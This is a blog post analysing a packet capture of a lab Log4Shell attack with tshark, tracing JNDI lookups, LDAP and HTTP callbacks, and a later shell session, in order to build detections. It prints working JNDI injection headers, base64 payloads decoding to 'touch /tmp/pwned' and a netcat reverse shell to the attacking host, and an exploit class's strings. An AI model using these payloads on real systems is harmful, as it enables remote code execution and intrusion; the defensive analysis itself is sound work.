Friday, December 24, 2021

Continuing Log4-Shell - Packet Analysis - Detection

Note: If you wish to follow along, the PCAP is on GitHub.

Now that I have a better understanding of the Log4j vulnerability and exploitation from a practical perspective, it is time to detect this activity via packet analysis. Any attack that leaves one host and interacts with another, will leave traces of packets on the wire. The question is, are we collecting those packets.

As with many attacks, we have one or more Indicators of Compromise (IoC) to start our threat hunting or to perform our detection. Let's use the IoC string jndi.

Before running through our pcap to see if jndi is inside, let's take a look at the protocol hierarchy. This is helpful, as it helps us to understand what is in the pcap.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z io,phs 2>/dev/null 

===================================================================
Protocol Hierarchy Statistics
Filter: 

eth                                      frames:7568 bytes:821104
  ip                                     frames:7568 bytes:821104
    tcp                                  frames:7568 bytes:821104
      http                               frames:1239 bytes:266638
        json                             frames:502 bytes:35642
          tcp.segments                   frames:502 bytes:35642
        tcp.segments                     frames:3 bytes:3871
        data-text-lines                  frames:99 bytes:58437
        http                             frames:1 bytes:257
      ldap                               frames:82 bytes:9105
===================================================================

Running a strings search against the pcap for jndi.

┌──(rootđź’€securitynik)-[~/log4j]
└─# strings --all --print-file-name --bytes 4 --encoding s log4-shell.pcapng | grep jndi | more                  
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
log4-shell.pcapng: X-Api-Version: ${jndi:ldap://127.0.0.1:1389}
log4-shell.pcapng: User-Agent: ${jndi:ldap://127.0.0.1:1389}
...

Immediately, we see we got some hits.

Looking at the endpoints involved in this pcap, to see if any of our critical (just my definition for this post) assets are being communicated with. 

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z endpoints,ip   2>/dev/null   
================================================================================
IPv4 Endpoints
Filter:<No Filter>
                       |  Packets  | |  Bytes  | | Tx Packets | | Tx Bytes | | Rx Packets | | Rx Bytes |
172.17.0.2                  7568        821104       3430          413289        4138          407815   
172.17.0.1                  7249        790831       3991          392155        3258          398676   
192.168.56.102               319         30273        147           15660         172           14613   
================================================================================

Let's assume 172.17.0.2 is our critical asset here.

It is one thing that we know it is seen in the PCAP. However, the question at this time, is who is 172.17.0.2 communicating with? Looking at the IP conversations, can help us answer this question.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z conv,ip   2>/dev/null 
================================================================================
IPv4 Conversations
Filter:<No Filter>
                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
172.17.0.1           <-> 172.17.0.2              3257 398kB        3990 392kB        7247 790kB         0.000000000      5851.6217
172.17.0.2           <-> 192.168.56.102           130 14kB          154 12kB          284 27kB        146.068187000      5726.3420
================================================================================

Looks like most of the communication with our critical asset, occurred with another host within our 172.17.0.0/16 network. Interesting to see, while the communication between 172.17.0.1 and 172.17.0.2 has more bytes than 172.17.0.2 and 192.168.56.102 and the second communication started 146 seconds after the first, their duration is almost the same. 
 
Looking closer at the TCP conversations.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z conv,tcp 2>/dev/null | more                                                                                                                                       
================================================================================
TCP Conversations
Filter:<No Filter>
                                                           |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
                                                           | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
172.17.0.2:37957           <-> 192.168.56.102:80               17 1,176bytes      18 1,938bytes      35 3,114bytes  3353.032935000       254.9447
172.17.0.2:36820           <-> 192.168.56.102:389               8 767bytes       10 831bytes       18 1,598bytes   146.068187000         0.1844
172.17.0.2:36822           <-> 192.168.56.102:389               9 841bytes        9 773bytes       18 1,614bytes  2048.708211000         0.0202
172.17.0.2:36824           <-> 192.168.56.102:389               9 861bytes        9 794bytes       18 1,655bytes  3353.007139000         0.0182
172.17.0.2:36826           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  4501.643761000      1370.7665
172.17.0.2:36828           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  4577.111093000      1295.2987
172.17.0.2:36830           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  4654.824083000      1217.5853
172.17.0.2:36836           <-> 192.168.56.102:389               9 676bytes        9 720bytes       18 1,396bytes  5247.996745000       624.4122
172.17.0.2:36838           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5367.879263000       504.5294
172.17.0.2:36840           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5444.599293000       427.8088
172.17.0.2:36842           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5479.459163000       392.9482
172.17.0.2:36844           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5826.303555000        46.1026
172.17.0.2:36846           <-> 192.168.56.102:389               8 610bytes       10 786bytes       18 1,396bytes  5851.567120000        20.8383
172.17.0.2:36832           <-> 192.168.56.102:389               7 703bytes        9 724bytes       16 1,427bytes  4785.376905000         0.0052
172.17.0.2:36834           <-> 192.168.56.102:389               7 703bytes        9 724bytes       16 1,427bytes  5120.703149000         0.0026
172.17.0.1:60592           <-> 172.17.0.2:8080                  6 639bytes        7 675bytes       13 1,314bytes  4654.837969000         0.0011
172.17.0.1:60604           <-> 172.17.0.2:8080                  6 639bytes        7 676bytes       13 1,315bytes  4654.846317000         0.0010
172.17.0.1:60616           <-> 172.17.0.2:8080                  6 639bytes        7 667bytes       13 1,306bytes  4654.852625000         0.0012
172.17.0.1:60632           <-> 172.17.0.2:8080                  6 639bytes        7 664bytes       13 1,303bytes  4654.863216000         0.
...
172.17.0.1:60314           <-> 172.17.0.2:8080                  5 573bytes        7 556bytes       12 1,129bytes     0.000000000         0.1138
172.17.0.2:51832           <-> 192.168.56.102:443               5 1,632bytes       7 651bytes       12 2,283bytes   146.163688000        10.0357
172.17.0.2:51834           <-> 192.168.56.102:443               5 1,637bytes       7 651bytes       12 2,288bytes  2048.711847000        10.0039
172.17.0.2:51836           <-> 192.168.56.102:443               5 1,652bytes       7 651bytes       12 2,303bytes  3353.013923000         5.0021
... 
172.17.0.1:60271           <-> 172.17.0.2:8080                  1 58bytes         2 112bytes        3 170bytes   5851.534341000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:80                    1 54bytes         1 58bytes         2 112bytes   4317.066643000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:443                   1 54bytes         1 58bytes         2 112bytes   4317.066698000         0.0000
172.17.0.1:43849           <-> 172.17.0.2:389                   1 54bytes         1 58bytes         2 112bytes   4317.073452000         0.0000

Any same person, looking at the output above, will want to understand why the connection on port 80 is seen with such a significant larger amount of bytes compared to the other communications. At first glance, this total number of frames is almost twice the next entry, with the total bytes being more than doubled the next three entries. Additionally, this conversation is 254 seconds. When compared with the next 3 entries, this is obviously a concern. However, as we look lower, we see even some of those port 389 communication which 18K frames and 1K+ frames.

In the interest of time and to keep things simple, let's quickly follow 172.17.0.2:37957 <-> 192.168.56.102:80  stream/conversation/session.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:37957,192.168.56.102:80  2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 37957) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 80)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 80) and (ip.dst eq 172.17.0.2 and tcp.dstpo
rt eq 37957))
Node 0: 172.17.0.2:37957
Node 1: 192.168.56.102:80
        3
ls

4
app

70
bin
dev
etc
home
...


whoami

5
root
...


uname --all

93
Linux 00fc730a324d 5.14.0-kali4-amd64 #1 SMP Debian 5.14.16-1kali1 (2021-11-05) x86_64 Linux
...


cat /etc/shadow

440
root:::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
....

Above are all signs of a successful compromise. So, when did this activity start. Looking at this from the local time perspective.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(ip.addr == 172.17.0.2) and (tcp.port == 37957) && (ip.addr == 192.168.56.102) && (tcp.port == 80) && (tcp.flags.syn==1) && !(tcp.flags.ack == 1)'  2>/dev/null | more 
  140 2021-12-20 14:00:58.987870   172.17.0.2 → 192.168.56.102 TCP 74 37957 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076527 TSecr=0 WS=128

Now that we know when this activity occurred, we need to both look back for historical analysis as well as look forward to learn if this activity is still occurring.

Looking at dates earlier than 2021-12-20 14:00:58.987870 while focusing on our critical server IP 172.117.0.2.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.src == 172.17.0.2)' 2>/dev/null | more
    2 2021-12-20 13:05:05.954948   172.17.0.2 → 172.17.0.1   TCP 74 8080 → 60314 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419107230 TSecr=4090634673 WS=128
    5 2021-12-20 13:05:05.960618   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60314 [ACK] Seq=1 Ack=87 Win=65152 Len=0 TSval=419107236 TSecr=4090634679
    6 2021-12-20 13:05:06.066901   172.17.0.2 → 172.17.0.1   TCP 296 HTTP/1.1 400   [TCP segment of a reassembled PDU]
    8 2021-12-20 13:05:06.067574   172.17.0.2 → 172.17.0.1   HTTP/JSON 71 HTTP/1.1 400  , JavaScript Object Notation (application/json)
   11 2021-12-20 13:05:06.068740   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60314 [FIN, ACK] Seq=236 Ack=88 Win=65152 Len=0 TSval=419107344 TSecr=4090634787
   14 2021-12-20 13:07:32.008338   172.17.0.2 → 172.17.0.1   TCP 74 8080 → 60316 [SYN, ACK] Seq=0 Ack=1 Win=65160 Len=0 MSS=1460 SACK_PERM=1 TSval=419253284 TSecr=4090780727 WS=128
   17 2021-12-20 13:07:32.008526   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60316 [ACK] Seq=1 Ack=183 Win=65024 Len=0 TSval=419253284 TSecr=4090780727
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   20 2021-12-20 13:07:32.023151   172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=1 Ack=1 Win=64256 Len=0 TSval=2720869562 TSecr=831471952
   21 2021-12-20 13:07:32.025030   172.17.0.2 → 192.168.56.102 LDAP 80 bindRequest(1) "<ROOT>" simple 
   24 2021-12-20 13:07:32.048350   172.17.0.2 → 192.168.56.102 TCP 66 36820 → 389 [ACK] Seq=15 Ack=15 Win=64256 Len=0 TSval=2720869588 TSecr=831471978
...

  124 2021-12-20 14:00:58.968993   172.17.0.2 → 192.168.56.102 HTTP 247 GET /Exploit6HHc3BcVzI.class HTTP/1.1 
  127 2021-12-20 14:00:58.969642   172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=79 Win=64256 Len=0 TSval=2724076509 TSecr=834678899
  129 2021-12-20 14:00:58.969687   172.17.0.2 → 192.168.56.102 TCP 66 51836 → 443 [ACK] Seq=182 Ack=1315 Win=64128 Len=0 TSval=2724076509 TSecr=834678899
  130 2021-12-20 14:00:58.970953   172.17.0.2 → 192.168.56.102 LDAP 102 unbindRequest(3) 
  133 2021-12-20 14:00:58.980196   172.17.0.2 → 192.168.56.102 TCP 66 36824 → 389 [FIN, ACK] Seq=193 Ack=261 Win=64128 Len=0 TSval=2724076519 TSecr=834678900
  135 2021-12-20 14:00:58.982219   172.17.0.2 → 172.17.0.1   HTTP 193 HTTP/1.1 200   (text/plain)
  138 2021-12-20 14:00:58.985545   172.17.0.2 → 172.17.0.1   TCP 66 8080 → 60324 [FIN, ACK] Seq=128 Ack=212 Win=65024 Len=0 TSval=422460261 TSecr=4093987701

We see activity earlier than the time the compromised was confirmed. Let's focus specifically on activity starting up. At this point, we are not sure who is starting the conversation. As in whether it is a compromised internal host or an external threat actor. So let's rework the previous filter. Rather than focus on the (ip.src == 172.17.0.2) we now focus on (ip.addr == 172.17.0.2). Additionally, we look for the TCP SYN flag set.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more
    1 2021-12-20 13:05:05.954935   172.17.0.1 → 172.17.0.2   TCP 74 60314 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090634673 TSecr=0 WS=128
   13 2021-12-20 13:07:32.008320   172.17.0.1 → 172.17.0.2   TCP 74 60316 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4090780727 TSecr=0 WS=128
   18 2021-12-20 13:07:32.023122   172.17.0.2 → 192.168.56.102 TCP 74 36820 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869562 TSecr=0 WS=128
   31 2021-12-20 13:07:32.118623   172.17.0.2 → 192.168.56.102 TCP 74 51832 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2720869658 TSecr=0 WS=128
   53 2021-12-20 13:38:30.063458   172.17.0.1 → 172.17.0.2   TCP 74 60318 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092638782 TSecr=0 WS=128
   63 2021-12-20 13:39:14.661012   172.17.0.1 → 172.17.0.2   TCP 74 60320 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4092683379 TSecr=0 WS=128
   68 2021-12-20 13:39:14.663146   172.17.0.2 → 192.168.56.102 TCP 74 36822 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772202 TSecr=0 WS=128
   81 2021-12-20 13:39:14.666782   172.17.0.2 → 192.168.56.102 TCP 74 51834 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2722772206 TSecr=0 WS=128
  103 2021-12-20 14:00:58.960277   172.17.0.1 → 172.17.0.2   TCP 74 60324 → 8080 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=4093987679 TSecr=0 WS=128
  108 2021-12-20 14:00:58.962074   172.17.0.2 → 192.168.56.102 TCP 74 36824 → 389 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076501 TSecr=0 WS=128
  121 2021-12-20 14:00:58.968858   172.17.0.2 → 192.168.56.102 TCP 74 51836 → 443 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=2724076508 TSecr=0 WS=128

With a few results returned, time to look into each of these sessions to understand what transpired. Starting with the one with the earlier date (frame 1 - 2021-12-20 13:05:05) and working our way through to the last one (frame 121 - 2021-12-20 14:00:58).

Frame 1: Activity started on December 20, 2021 at 13:05:05 and resulted in a 400 error. As we can see below there is a "Bad Request"

──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60314,172.17.0.2:8080 2>/dev/null | more

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60314) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60314))
Node 0: 172.17.0.1:60314
Node 1: 172.17.0.2:8080
86
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
User-Agent: SecurityNik Testing


        230
HTTP/1.1 400 
Content-Type: application/json
Transfer-Encoding: chunked
Date: Mon, 20 Dec 2021 18:05:06 GMT
Connection: close

5b
{"timestamp":"2021-12-20T18:05:06.027+00:00","status":400,"error":"Bad Request","path":"/"}

Frame 13 - 2021-12-20 13:07:32 - This activity starts about 2 minutes after the frame 1 activity:

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60316,172.17.0.2:8080 2>/dev/null | more    
===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60316) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60316))
Node 0: 172.17.0.1:60316
Node 1: 172.17.0.2:8080
182
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}
User-Agent: SecurityNik Testing


        127
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 18:07:32 GMT

Hello, world!
===================================================================

Knowing this exploit can take advantage of the HTTP Headers and since we know the string jndi is one of our IoCs, we can say we have a direct hit and definitively, this activity seems to be associated with the current Log4J vulnerability. For the header, we see "X-Api-Version" and the base64 encoded content "dG91Y2ggL3RtcC9wd25lZAo=". Decoding this content we get:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "dG91Y2ggL3RtcC9wd25lZAo=" | base64 --decode
touch /tmp/pwned

With the above, we should either now check our host at 172.17.0.2 to see if the file pwned exists in the tmp directory. If it does exist, now would be a good time to activate your incident response plan. If the system was restarted, it is more than likely this file is not there. Also, correlating the timestamp on the end-host with what you have in this packet would be very helpful

Considering  what we have above, what do we know so far?

1. We know, based on our pcap that  at13:05 on December 20, 2002 the user or process at IP  172.17.0.1 communicated with another one of our internal IP at 172.17.0.2 with a bad request.

2. We know that after the first request, we had a successful request and that a base64 encoded payload was used to create a file on our critical asset at 172.17.0.2. This was done by using the HTTP header X-API-Version and the Java Naming and Directory Interface (JNDI). The remote address our server needs to contact with 192.168.56.102 on port 389. At this point, we will also have to pay attention to activities occurring with this external source 192.168.56.102. Maybe time to activiate your incident response plan.

Continuing our analysis.
Interestingly frames 18 and 31 have almost the same start time on December 20, 2021 at 13:07:32. Additionally, while 172.17.0.1 started the previous session, in this case, our compromised host at 172.17.0.2 is making requests out to the host at 192.168.56.102 on both ports 389 and 443. The 389 makes sense, as it ties into what we saw in the X-API-Version header. However, how did our host come to initiate that connection out to port 443 on the external host?

Frame 18

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:36820,192.168.56.102:389 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 36820) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 389)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 389) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 36820))
Node 0: 172.17.0.2:36820
Node 1: 192.168.56.102:389
14
0....`........
        14
0....a.
......
113
0o...cM.-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=
..
.............objectClass0...0...2.16.840.1.113730.3.4.2
        203
0.....d...-Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=0..0..
        14
0....e.
......
36
0"...B...0...2.16.840.1.113730.3.4.2
===================================================================

This base64 encoded content is the same we saw previously for "touch /tmp/pwned". What about that port 443 traffic in frame 31

Looking below, we see our system made a request via "Java/1.8.0_181" out to 192.168.56.102 on port 443 to get a resource "/ExploitQ8v7ygBW4i.class". Looking even closer, we also see some interesting strings such as "bin/sh" and "exec". Looking further down we see "touch /tmp/pwned". These are all good IoCs and can be used as part of our signature based tools, such as Snort3 and Zeek, as we will be using soon.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51832,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51832) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51832))
Node 0: 172.17.0.2:51832
Node 1: 192.168.56.102:443
181
GET /ExploitQ8v7ygBW4i.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 18:07:32 GMT
Content-length: 1216


        1216
.......2.=...ExploitQ8v7ygBW4i.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...touch /tmp/pwned
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

Looking at frame 53. 2021-12-20 13:38:30.063458, we are now more more than 33 minutes since this activity began. Following the stream.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60318,172.17.0.2:8080 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60318) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60318))
Node 0: 172.17.0.1:60318
Node 1: 172.17.0.2:8080
191
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==
}
User-Agent: SecurityNik Testing


        590
HTTP/1.1 400 
Content-Type: text/html;charset=utf-8
Content-Language: en
Content-Length: 435
Date: Mon, 20 Dec 2021 18:38:30 GMT
Connection: close

<!doctype html><html lang="en"><head><title>HTTP Status 400 ... Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;}
 h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 ... B
ad Request</h1></body></html>
===================================================================

We see yet another jndi lookup for base64 encoded content. Decoding that contents, we see:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "d2hpY2ggbmMgPiAvdG1wL3B3bmVkCg==" | base64 --decode  
which nc > /tmp/pwned

Interesting! This is the biggest hint we have had so far, into what might have happened. At this point, we can infer, after successful compromise netcat was executed. While this would be a good assumption, there is no evidence at this point to confirm nc's execution. We only have evidence of it being searched for. Let's dig deeper.

Frame 63 - 2021-12-20 13:39:14.661012. This frame also had base64 encoded content, much like frame 1. Therefore, no need to show it again.

Looking at frames 68 and 81, we see these activities occurred on December 20, 2012 at the same time 13:39:14. More importantly, it follows the same pattern we saw previously, in which our critical server at 172.17.0.2 connects to the external host on port 389, then on port 443 immediately after. This is a very good pattern to use for correlation and is one we will use in our Zeek script.

Frame 68 - 2021-12-20 13:39:14.663146 - This packet is similar to the one in frame 53 that resulted in  "which nc > /tmp/pwned"

Frame 81 - 2021-12-20 13:39:14.666782. Looking closely, once again, we see interesting strings such as "/bin/sh" "exec" and "which nc > /tmp/pwned". As before, we also see our critical server actually goes out via Java/1.8.0_181 and makes a GET request GET /ExploitSMMZvT8GXL.class.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.2:51834,192.168.56.102:443 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.2 and tcp.srcport eq 51834) and (ip.dst eq 192.168.56.102 and tcp.dstport eq 443)) or ((ip.src eq 192.168.56.102 and tcp.srcport eq 443) and (ip.dst eq 172.17.0.2 and tcp.dst
port eq 51834))
Node 0: 172.17.0.2:51834
Node 1: 192.168.56.102:443
181
GET /ExploitSMMZvT8GXL.class HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.56.102:443
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive


        78
HTTP/1.1 200 OK
Date: Mon, 20 Dec 2021 18:39:14 GMT
Content-length: 1221


        1221
.......2.=...ExploitSMMZvT8GXL.....@com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet......cmd...Ljava/lang/String;...<init>...()V...java/io/IOException........
.......java/io/File..
......./bin/sh......-c.................../C..!...[Ljava/lang/String;..#...java/lang/Runtime..%..
getRuntime...()Ljava/lang/Runtime;..'.(
.&.)...exec..(([Ljava/lang/String;)Ljava/lang/Process;..+.,
.&.-...printStackTrace../..
.
.0...transform..r(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V..9com/sun/org/apache/xalan/internal/xsltc/TransletException..4...(Lcom/
sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V...<clinit>...which nc > /tmp/pwned
..8...Code..
Exceptions.!.........
.................:...~.......M*..................Y...SY...SY....SL.......Y.. SY.."SY....SL..*+...W...M,..1....<.D.G.
...;........'............$J..
....2.3...:...
===================================================================

We then see frames 103, 108 and 121 all having the same time of 14:00 hours on December 20, 2021. Additionally, we see the port 8080 communication, followed by port 389, then port 443.

Frame 103 - 2021-12-20 14:00:58.960277 - Once again, our internal host communicating with our critical server on port 8080. Following the stream, we see.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -q -z follow,tcp,ascii,172.17.0.1:60324,172.17.0.2:8080 2>/dev/null | more 

===================================================================
Follow: tcp,ascii
Filter: ((ip.src eq 172.17.0.1 and tcp.srcport eq 60324) and (ip.dst eq 172.17.0.2 and tcp.dstport eq 8080)) or ((ip.src eq 172.17.0.2 and tcp.srcport eq 8080) and (ip.dst eq 172.17.0.1 and tcp.dstport e
q 60324))
Node 0: 172.17.0.1:60324
Node 1: 172.17.0.2:8080
210
GET / HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Api-Version: ${jndi:ldap://192.168.56.102:389/Basic/Command/Base64/bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==}
User-Agent: SecurityNik Testing


        127
HTTP/1.1 200 
Content-Type: text/plain;charset=UTF-8
Content-Length: 13
Date: Mon, 20 Dec 2021 19:00:58 GMT

Hello, world!
===================================================================

Decoding the base64 encoded content, we get:

┌──(rootđź’€securitynik)-[~/log4j]
└─# echo "bmMgMTkyLjE2OC41Ni4xMDIgODAgLWUgL2Jpbi9zaCAtdnZ2Cg==" | base64 --decode
nc 192.168.56.102 80 -e /bin/sh -vvv

Now the flames are burning. Previously, we saw the "which nc" command executed, suggesting our threat actor was attempting to live off the land (LOL) by using native binaries. This base64 decoded content means the flames are burning hotter, suggesting that the threat actor might have gained shell via ncat. Interestingly also, we see the 192.168.56.102 which we have seen multiple times. However, when we looked previously for communication which was starting up, we did not see activity returning for port 80. This was the filter used previously.

┌──(rootđź’€securitynik)-[~/log4j]
└─# tshark -t ad -n -r log4-shell.pcapng -Y '(frame.time < "2021-12-20 14:00:58.987870") && (ip.addr == 172.17.0.2) && (tcp.flags.syn == 1) && (tcp.flags.ack == 0)' 2>/dev/null | more

I wonder what I missed. Good thing is, even if I missed, it, I still have that visibility by following an iterative process of going through each of the previously returned sessions, rather than simply glossing over them. Let's wrap up the final two records here so we can confirm or dwell time or the time to detect, assuming that it is the large transaction on port 80 that caused our concern.

